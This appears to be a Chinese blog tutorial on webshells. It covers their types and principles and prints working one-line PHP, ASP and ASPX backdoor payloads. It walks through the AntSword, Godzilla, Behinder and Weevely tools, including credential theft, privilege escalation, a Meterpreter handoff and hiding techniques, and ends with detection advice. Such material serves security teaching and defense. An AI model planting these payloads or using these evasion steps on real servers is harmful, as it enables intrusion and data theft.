总字符数: 31.50K
代码: 15.47K, 文本: 8.27K
预计阅读时间: 1.72 小时
简介
WebShell
是一种以网页文件的形式存在的代码执行环境,它可以被称为网页后门.Web
表示需要服务器提供Web
服务,而Shell
表示获取对服务器某种程度上的操作权限.通常情况下,黑客在入侵一个网站后,会将
ASP
或PHP
后门文件混合在正常的网页文件中,然后可以通过浏览器访问这些后门文件,获得一个命令执行的环境,以达到控制网站服务器的目的.具体步骤如下:
- 入侵网站
- 将
ASP
或PHP
等后门文件混合在正常的网页文件中- 通过网页访问后门文件
- 获得命令执行的环境
- 控制网站服务器
Shell
文件可以接收来自服务器的数据并执行相应的命令,返回结果.也就是说,只要将Shell
文件上传到目标服务器,就可以操控服务器了.不法分子利用
WebShell
可以在Web服务器上执行系统命令、窃取数据、植入病毒、盗取核心数据、进行SEO
挂马等恶意操作,造成严重的危害.对于网站管理员来说,
Shell
文件也可以用于网站管理、服务器管理、数据库管理等.根据文件系统对象(FSO
)权限的不同,其功能包括在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等.
WebShell特点
当黑客使用WebShell
时,他们通常会将其上传到可以访问的服务器中.
例如利用用户CMS
系统的第三方插件中的漏洞上传一个简单的php WebShell
.
WebShell
的类型和作用各不相同,有一些简单的WebShell
只起到连接外界的作用,允许黑客插入更加精准的恶意脚本,执行他们所需要的指令.
另外一些WebShell
可能更加复杂,带有数据库或文件浏览器,让黑客能够从遥远的地方查看入侵系统的代码和数据.无论设计如何,WebShell
都是网络罪犯和高级持续威胁(APT
)经常使用的工具.
WebShell
的常见攻击特点主要包括以下几点:
- 持久化远程访问:
WebShell
脚本通常包含后门,黑客上传WebShell
后,可以利用其中的后门实现远程访问和控制服务器,从而长期控制网站服务器.此外,黑客会修复漏洞,以确保其他人不能利用该漏洞.通过这种方式,黑客可以低调地操作,避免与管理员进行交互,并获得相同的结果. - 提权:在服务器没有配置错误的情况下,
WebShell
在Web
服务器的用户权限下运行,而用户权限是有限的.通过WebShell
,黑客可以利用系统上的本地漏洞来提升权限,从而获得Root
权限,基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等. - 隐蔽性极强:
WebShell
可以嵌套在正常网页中运行,不容易被查杀.它还可以穿越服务器防火墙,因为与被控制的服务器或远程主机交互的数据都是通过80端口传输,所以不会被防火墙拦截.在没有记录流量的情况下,WebShell
使用POST
请求发送数据,也不会在系统日志中留下明显的痕迹,只会在Web
日志中记录一些数据提交的记录. - 操作与正常网页相似:
WebShell
通常通过命令交互界面进行操作,但它的操作方式可以模仿正常网页的表单提交、数据库查询等常见操作,使其不易被怀疑.黑客可以利用WebShell
执行各种命令、浏览文件和数据库等,而这些操作与合法用户的正常行为类似
综上所述,WebShell
具有嵌套在正常网页中、穿越服务器防火墙以及操作类似正常网页的特点,使其在黑客攻击中具有极高的隐蔽性.这也增加了检测和防御的难度,提高了WebShell
对网络安全的威胁.
WebShell分类
WebShell
根据脚本类型可以分为PHP
脚本木马、ASP
脚本木马、JSP
脚本木马,还有基于.NET
的脚本木马.随着时代和技术的变迁,还出现了使用Python
和Lua
编写的脚本木马,常见的几种分类包括:
- 大马
- 体积较大,功能全面
- 可调用系统关键函数
- 使用代码加密进行隐藏
- 小马
- 体积较小,功能简单
- 一般只具备上传功能,用于上传大马
- 一句话木马
- 代码简短
- 可单独生成文件,也可插入文件
- 安全性高,隐藏性强,可变形免杀
- 采用固定框架,执行数据操作和传递数据
- 可使用中国蚁剑等客户端管理
WebShell
,省去命令行和参数配置,提供图形化操作界面
- 打包马
- 主要用于打包网站源代码
- 拖库马
- 主要用于导出网站数据库
- 内存马
- 无文件落地,难以检测和发现
- 难以清除,具有持久性
原理
WebShell
的恶意性表现在它的实现功能上,是一段带有恶意目的的正常脚本代码.
PHP一句话木马核心步骤如下:
- 数据传递
- 通过超全局变量获取数据:
$_GET
、$_POST
、$_COOKIES
、$_REQUEST
、$_FILE
、$_SERVER
- 从远程URL中获取数据:使用函数如
file_get_contents
、curl
、svn_checkout
等来获取远程URL中的数据,将需要执行的指令数据放在URL中通过URL包含进行读取. - 从本地磁盘文件中获取数据:使用函数如
file
、file_get_contents
等来读取本地磁盘文件中的数据,将需要执行的指令数据放在文件中利用IO函数读取. - 从数据库中读取:将需要执行的指令放在数据库中,利用数据库操作函数来读取.
- 从图片头部中获取:使用函数如
exif_read_data
来获取图片头部中的数据,将需要执行的指令数据放在图片头部中利用图片操作函数读取.
- 通过超全局变量获取数据:
- 代码执行
- 将用户传输的数据进行执行.
- 代码执行函数:
eval
、assert
、system
等函数进行代码执行(最常见的方式). - LFI(本地文件包含):使用
include
、require
等函数将文件包含转化为代码执行. - 动态函数执行:利用PHP的动态函数特性(如
$()
)进行代码执行. - Curly Syntax:使用
${${...}}
等语法进行代码执行,将变量赋值的漏洞转化为代码执行的机会.
下面是一个示例,用于从远程URL中获取数据并执行:
1 |
|
常见一句话木马
php
1 | eval($_POST['value']); @ |
1 | assert($_POST[value]); |
1 |
|
asp
1 | <%eval request ("value")%> |
1 | <% execute(request("value")) %> |
aspx
1 | <%@ Page Language="Jscript" %><% eval(Request.Item["value"]) %> |
jsp
1 | <% |
内存马
WebShell
内存马是一种常用的无文件攻击手段,它将恶意后门和木马写入内存并执行,以实现对Web
服务器的远程控制.随着攻防演练的热度不断上升,攻击和防守之间的博弈日益激烈,流量分析、EDR
等专业安全设备被蓝方广泛使用,传统的基于文件的WebShell
或以文件形式驻留的后门越来越容易被检测到,因此内存马的使用越来越普遍.
PHP
内存马是一种常见的内存马类型,在线下AWD
比赛中经常被使用.在蚁剑等工具中也提供了专门的插件来实现一键注入内存马.其原理相对简单,利用PHP
的特性通过反复写入一个木马代码片段来实现无法删除的目的.
1 |
|
这段代码会创建一个名为Shell.php
的文件,并将恶意代码写入其中.通过设置忽略用户中止、无限制的执行时间和在每次循环中删除当前文件来达到持久化的效果.然而实际上,这种方法仍然会有文件落地,只是管理员难以删除或删除不完全而已.
更具有代表性的是Java
内存马.它是一种常见的无文件攻击手段,在目标系统的内存中直接加载并执行恶意代码,从而控制目标系统.相比于传统的基于文件的WebShell
或以文件形式驻留的后门,Java
内存马更加隐蔽,很难被安全设备和防御措施检测到.
WebShell管理工具的使用
蚁剑(AntSword)
蚁剑的下载
蚁剑本体
1 | https://github.com/AntSwordProject/antSword |
蚁剑加载器
1 | https://github.com/AntSwordProject/AntSword-Loader |
蚁剑的安装
蚁剑从v2.0.0-beta
版本开始引入了加载器这个概念,需要下载对应平台的加载器运行当前的开发板和发行版源代码.
打开加载器->点击初始化,选择蚁剑源代码目录如antSword-2.1.14/
目录
注意:!目录所在的路径不要有中文!
可以如D:\AntSword-Loader-v4.0.3-win32-x64
不能如D:\工具\AntSword-Loader-v4.0.3-win32-x64
这样含有中文
初始化完成后再次打开蚁剑加载器 AntSword.exe
即可使用
蚁剑界面
点击AntSword
菜单内有关于程序
、语言设置
、代理设置
、显示设置
等基础功能
编码设置可创建编码器,在页面编辑
处粘贴代码点击保存,这样在添加Shell
或者编辑Shell
配置时,就可以选择==编码器/解码器==了.
插件市场可添加开发者提供的多功能插件
蚁剑(AntSword)的使用
代理设置
点击AntSword
->代理设置
,可设置代理
添加Shell
界面右键添加数据
插件
点击AntSowrd
->插件市场
在设置中心
->设置中文
自行在远程仓库下载插件即可,插件在主页处右键选择使用
哥斯拉(Godzilla)
介绍
哥斯拉(Godzilla
)是继菜刀、蚁剑、冰蝎之后出现的一款优秀的WebShell
管理工具,由JAVA
语言开发,特点有:
- 全部类型的
Shell
能绕过市面大部分的静态查杀 - 流量加密能绕过市面绝大部分的流量
Waf
Godzilla
自带的插件非常强大,具有内网渗透能力
地址:
1 | https://github.com/BeichenDream/Godzilla |
运行环境
1 | 1. JavaDynamicPayload -> java1.0及以上 |
使用
打开哥斯拉前需安装JDK1.8
以上环境,之后双击Godzilla.jar
打开,然后会在同目录下生成data.db
数据库存放数据
生成WebShell
点击管理
->生成
生成所需的WebShell
,哥斯拉支持JSP
、PHP
、Aspx
等多种载荷,JAVA
和C#
的载荷原生实现AES
加密,PHP
使用或加密.生成时需要记住自己的生成配置用以链接时用.
如下,有效载荷有ASP
、JAVA
、PHP
、C#
(CShap
)几种,加密器有Base64
、RAW
、XOR_Base64
几种
连接WebShell
上述操作生成一个文件,上传到目标服务器,点击目标
,设置基础配置连接该WebShell
,配置需要与生成的WebShell
一致.
添加后右键进入
即可进入Shell
管理界面
设置代理
连接WebShell
时可选择代理,可以设置HTTP代理与Burpsuite
联动,把哥斯拉流量发送到Burpsuite
请求配置
添加目标时,点击请求配置,可修改协议头(包含UA
、Accept
、Accept-Language
三个弱特征),哥斯拉默认的这三项和正常的浏览器有部分差异(UA
中含有Godzilla
关键字),属于弱特征,可根据自身需求修改,如这里将UA
修改成浏览器使用的UA
配置信息
点击会有两个配置:程序配置插件配置
其中插件配置可添加和移除本地第三方哥斯拉插件
程序配置则可自行修改部分特征,全局协议头就是一个弱特征,全局代理可设置HTTP
和SOCKS
代理,这里可以与Burpsuite
与联动
全局协议头
请求配置中为单条设置,此处为全局设置,修改完点击修改
按钮
全局代理
设置代理中为单条设置,此处为全局设置
字体设置
修改字体格式和大小,你好Hello
为修改后的字体与大小,重启程序后生效
核心配置
上帝模式开启会使文件管理复杂化,经测试不开启会导致删除文件、新建文件夹、执行等操作出现问题
大文件配置
可设置重试次数和单次上传、下载文件大小,字节单位为k
,1M
=1000000K
,若上传或下载的文件较大可自行设置所需大小.
PHP
基础信息
哥斯拉特性是会根据语言的不同显示不同的功能界面,以PHP
的WebShell
为例,基础信息中含有该主机的系统及版本、当前用户、外连IP与端口、网站根目录、PHP
版本等信息
Linux主机比Windows
多一个PPs
模块,功能为查看进程可能因docker的问题并没有获取到进程
命令执行
默认调用的cmd窗口,cmd /c "{command}" 2>&1
,若为Linux主机则为/bin/bash
文件管理
同其他WebShell
工具类似,直接拖动文件放进去即可上传,选择文件或文件夹点击右键,可选择上传、下载、查看属性、新建文件、新建文件夹、编辑器打开、查看属性等操作
哥斯拉的文件管理创新点在于远程下载、执行、大文件上传、大文件下载几块内容,许多WebShell
管理工具不支持大文件的上传和下载,安全人员只能通过文件分割方式分块上传;另外,哥斯拉支持直接执行文件,而不必再在命令窗口中输入命令执行.
可直接编辑文件,并可选择编码类型进行保存
选择文件属性
,可对文件路径、文件权限、文件修改时间进行修改,用于隐藏文件
数据库管理
在数据库管理中哥斯拉会先从容器中加载可用的jdbc
,如果没有就通过内存加载jar驱动来链接数据库
点击右下角DbinfoConfig
配置服务器信息,注意点是要填写127.0.0.1,因为此时我们正在该服务器上使用服务,填写该服务器IP如192.168.0.123
的话,若该服务器不允许远程登录MySQL
则会失败
之后点击左侧列表或使用下方Exec SQl
都可操作数据库
网络详情
相当于在目标机上使用netstat -an
查看网络连接情况,如正在监听的端口、外连等
Zip
将目标文件夹压缩为压缩文件,或将压缩文件进行解压
设置目标文件夹再设置压缩后的名称即可压缩文件,设置压缩文件再设置解压的目标文件夹即可解压.
PSuperServer
该模块作者GitHub没有说明,经过摸索发现为ntunnel
隧道
该模块应该是一个Navicat
的ntunnel_mysql.php
的集成模块,将Navicat
目录下的ntunnel_mysql.php
上传到目标服务器
然后Navicat
新建连接,常规中照常设置,注意点为主机地址需设置为127.0.0.1
在HTTP中勾选如下两个选项,然后输入ntunnel_mysql.php
的地址,这里要选择base64
编码,否则容易被防护软件拦截.
PWebShellScan
根据常见特征扫描指定文件夹下有无WebShell
,并且尝试获取WebShell
密码,设置好目标目录后,点击scan
按钮即可扫描,经测试,无法扫描到如冰蝎木马的加密WebShell
PMeterpreter
msfconsole
MSF设置监听0.0.0.0:4444
填写MSF
服务器的IP
和MSF
监听的端口,点击Go
发现Meterpreter
上线
BypassOpenBasedir
模块功能为绕过Open_basedir
限制,Open_basedir
为php.ini
中的一个配置选项,将用户访问文件的活动范围限制在指定的区域.
PAttackFPM
该模块专门攻击php-fpm
,php-fpm
是FastCGI
进程管理器,它包含一个高级处理功能,可以启动任何任务,然后关闭该任务,且过程中不会有任何阻碍.
php.ini
中的disable_functions
配置禁用了putenv()
、mail()
、pcntl_exec()
等函数,环境是PHP5.6
,导致很多常规Bypass
的方法都用不了
而PAttackFPM
模块可与BypassDisable_functions
模块作为组合拳使用,作用是绕过限制执行命令,条件是网站为Linux 操作系统且由Nginx+PHP5.6搭建
1 | Linux操作系统 |
BypassDisableFunctions
模块功能为绕过DisableFunctions
,管理员如果设置DisableFunctions
则WebShell
会无法执行系统命令,该模块提供了一种绕过方式.
使用可见PAttackFPM
,其他子模块中
EnvBypass条件:
利用LD_PRELOAD
环境变量绕过
1 | 能够上传自己的.so文件 |
AMCBypass条件:
利用Apache_mod_cgi
绕过
1 | Linux 操作系统 |
P_Eval_Code
一个内置代码编译器
PortScan
哥斯拉在对方主机产生一个扫描进程,扫描开放端口,在目标主机发现新增一个端口连接TCP 192.168.0.107:80 192.168.0.111:7031 ESTABLISHED 85848
扫描进程名httpd.exe
,通过Apache进程完成的扫描,扫描结束后该端口连接断开.
RealCmd
在本地攻击机开放一个端口,将目标主机权限转发给本地攻击机端口
对方如果是Windowsexec file
就写cmd
,Linux就写/bin/bash
本地攻击机使用nc连接,成功连接到目标主机,攻击机关闭窗口后该连接自动关闭.
1 | nc64.exe 127.0.0.1 4444 |
JSP
JSP
的模块和PHP
的不太一样,多了Screen
(屏幕截图)、Jrealcmd
(虚拟终端)、MemoryShell
(内存Shell)、ServletManage
(Servlet木马管理)、JarLoader
(内存加载Jar)、mimikatz
(抓取密码)等模块.
RealCmd
、PortScan
、JMeterpreter
、SuperTerminal
、Zip
与PHP
模块用法一致.
基础信息
提供了物理路径、真实IP地址、系统版本、插件目录、JDK版本以及各种配置信息.
MemoryShell
内存Shell
模块,在服务器中注册、卸载内存马
可以注册一个哥斯拉的马或者冰蝎、蚁剑的马,甚至是Regeorg
,在指定目录下注册生成一个木马文件,然后成功连接该木马;
删除该木马文件时点击unLoadMemoryShell
然后输入Shell
目录即可
EnumDatabaseConn
该模块会尝试得到数据库的连接驱动、账户与密码
Screen
屏幕截图,Windows上需要高权限(NT SYSTEM
).
PetitPotam
PrintSpoofer
提权模块,利用SeImpersonatePrivilege
(身份验证后模拟客户端)权限来尝试获取SYSTEM
权限
ServletManage
作用是管理Servlet
,可获取和卸载Servlet
,方便管理内存Shell
.
Servlet
是在服务器上运行的小程序,Servlet
虽然被称作”小程序”,但是它的功能却异常强大,因为它是基于Java
的,几乎可以使用所有的Java API
,Java
能做的事情Servlet
也能做.
ShellcodeLoader
memoryPe
是内存PE模块,加载PE并注入.
JarLoader
用途为加载jar包,主要是加载jdbc
mimikatz
集成mimikatz
,功能为抓密码凭证,现已更名为kiwi
,需要较高权限
冰蝎(Benhinder)
安装
相对于菜刀和蚁剑,冰蝎的特点是动态二进制加密实现新型一句话木马,它的数据是加密传输的
冰蝎项目地址:
1 | https://github.com/rebeyond/Behinder |
所需环境:
1 | 客户端:jre11及以上 |
文件介绍
1 | Behinder.jar 冰蝎客户端,双击即可打开冰蝎 |
新建连接
右键->新增,输入WebShell
信息,若使用冰蝎自带的WebShell
则默认密码为rebeyond
修改默认密码
冰蝎WebShell
默认密码均为 rebeyond
,为32位md5值的前16位,若要修改为Shell
,则在MD5网站查询md5值,将32位md5前16位截取下来即可
1 | 2591c98b70119fe624898b1e424b5e91 前16位截取下来 |
基本信息
冰蝎默认木马会弹出phpinfo
信息,可以通过phpinfo
收集服务器信息
命令执行
一个终端窗口,调用的是服务器的cmd
窗口
虚拟终端
虚拟终端提供一个交互式的真实终端,相当于把服务器侧的Shell给搬到了客户端,在这个Shell里可以执行各种需要交互式的命令,如ssh、mysql,还可以执行python、vim、top等操作
虚拟终端和命令执行不同点在于虚拟终端使用完毕需要点击”停止“按钮来关闭服务器的Shell进程
Linux
可在/bin/bash
下使用如SSH
、MySql
,还可以执行Python
、VIM
、TOP
等命令
Windows
默认为cmd.exe
,启动后若目标服务器为Win7则会在服务器生成一个文件夹(==win10不会生成文件==)
Win10下cmd.exe
、powerShell.exe
均可执行命令,Win7下仅cmd.exe
可执行命令.
文件管理
可对文件进行上传、下载、新建、修改时间戳等操作
数据库管理
数据库管理属于常规功能,目前支持SQL Server
、MySQL
、Oracle
,当服务器环境为Java
或者C#
时,如果缺少对应的数据库管理库,冰蝎会自动上传并加载对应的库文件.
另外,如果数据库连接密码中有特殊字符(如@
符号),用URL编码一下即可(@
编码之后为40%
)
选择数据库类型后,在连接字符串处修改账户密码,然后点击”连接”按钮,连接成功后即可执行语句
随后直接点击左侧图标即可图形化操作
自定义代码
冰蝎提供asp、c#、php、Java的自定义代码执行功能,文本框支持语法高亮,c#和Java会把输入的源代码自动编译并执行.
备忘录
备忘录模块提供对当前Shell的一些临时文本信息进行存储.直接输入内容即可,冰蝎会自动保存.
注入内存马
冰蝎采用基于Agent技术的Java内存马注入功能,目前支持Tomcat
、Weblogic
、Jboss
.其中Tomcat
和Jboss
对内存马注入路径没有任何限制.
Weblogic的内存马注入路径需要在真实存在的应用名称的路径下,比如http://xxx.com:7001/console/memShell
,Console
即为应用名称不能直接注入到http://xxx.com:7001/memShell
另外,冰蝎还提供了内存马防检测功能,该功能会阻止其他Agent
注入进当前JVM
进程.当然注入内存马的时候如果开启该功能,冰蝎后续也无法再次注入内存马
代理
冰蝎提供Sosks5
和HTTP
代理,反弹Shell时利用的就是内置代理功能
Weevely
Weevely是一款开源的
WebShell
工具,用Python编写,可以在Linux系统上使用.它提供了一种方便的方式来生成和连接WebShell
,并以客户端/服务器(C/S)模式构建.Weevely具有很强的隐蔽性,可以用作替代PHP菜刀的工具.Weevely具有多种功能,包括服务器错误配置审计、后门放置、暴力破解、文件管理、资源搜索、网络代理、命令执行、数据库操作、系统信息收集和端口扫描等.这些功能使它成为一个强大的渗透测试工具,可以用于评估和检测Web应用程序的安全性.
简单使用
1 | ┌──(root㉿kill3r)-[/home/kill3r] |
1 | ┌──(root㉿kill3r)-[/home/kill3r] |
1 | ┌──(root㉿kill3r)-[/home/kill3r] |
1 | :system_procs 列出正在运行的进程. |
1 | weevely> :system_info |
WebShells
1 | ┌──(root㉿kill3r)-[/usr/share/webshells] |
WebShell隐藏
隐藏到日志:
- 修改发送数据包的头部,添加
WebShell
.Web服务器通常会保存访问记录到Web日志中.如果攻击者能够找到并将Web日志放置在可执行目录下,可能会获得对服务器的控制权.
- 修改发送数据包的头部,添加
隐藏到合法文件:
- 在文件上传漏洞中,将含有PHP代码的文件伪装成.jpg文件.可以使用@运算符来避免出现任何错误,以增加伪装的成功率.
混淆:
删除空格、换行符等字符,使代码文件看起来比较混乱,从而隐藏恶意函数名等关键信息.
使用编码或加密技术对恶意代码进行处理,使其更难以被人识别和分析.
站马分离:
文件分割:将恶意代码分割成多个文件,使其在文件系统中分散存储.这样做可以避免一次性检测和删除所有相关文件,增加了防御的复杂性.
数据注入:将恶意代码注入到合法文件或数据中,比如图片、文档或数据库中.这样做可以使恶意代码混杂在正常的数据中,降低被检测的概率.
加密/压缩:使用加密算法或压缩技术对恶意代码进行处理,使其变得无法读取或分析.攻击者可以使用自定义的解密或解压缩过程来还原恶意代码,使其在被执行前难以被检测.
动态加载:将恶意代码以库、插件或模块的形式动态加载到受害系统中.这种技术使恶意代码不会一直存在于磁盘上,减少了被杀软件扫描和检测的可能性.
内存马:
- 它不像传统的Web Shell一样将恶意代码写入磁盘文件中,而是将代码直接加载到服务器的内存中运行。
检测与防御
- 文件完整性监测:定期检查服务器和Web应用程序文件的完整性,比较当前文件与原始文件的散列值或签名.如果发现任何未经授权的更改或添加的文件,可能是恶意
WebShell
的迹象. - 强密码策略:确保使用强密码来保护服务器和Web应用程序的账户.强密码应该包含足够长度、大小写字母、数字和特殊字符的组合,并且定期更换密码.
- 文件上传过滤:在Web应用程序中实施严格的文件上传过滤机制,验证上传的文件类型和内容.限制允许上传的文件扩展名,并进行文件内容的检查,以避免上传恶意
WebShell
文件. - 输入验证和过滤:对Web应用程序的用户输入进行严格的验证和过滤,以防止任意文件上传等攻击.移除或转义用户输入中的特殊字符和命令注入漏洞,以减少
WebShell
风险. - 实时日志监控和分析:监控Web服务器日志和应用程序日志,检查异常的请求、访问行为和错误信息.建立实时告警系统,以便及时检测和响应
WebShell
攻击. - 安全软件和防火墙:使用安全软件和防火墙来阻止对Web服务器的未经授权访问和攻击.这些工具可以检测并阻止恶意代码的执行,同时提供实时的入侵检测和防御功能.
- 定期安全审计:定期对服务器和Web应用程序进行安全审计,包括代码审查、漏洞扫描和渗透测试等.这有助于及时发现和修复潜在的
WebShell
漏洞.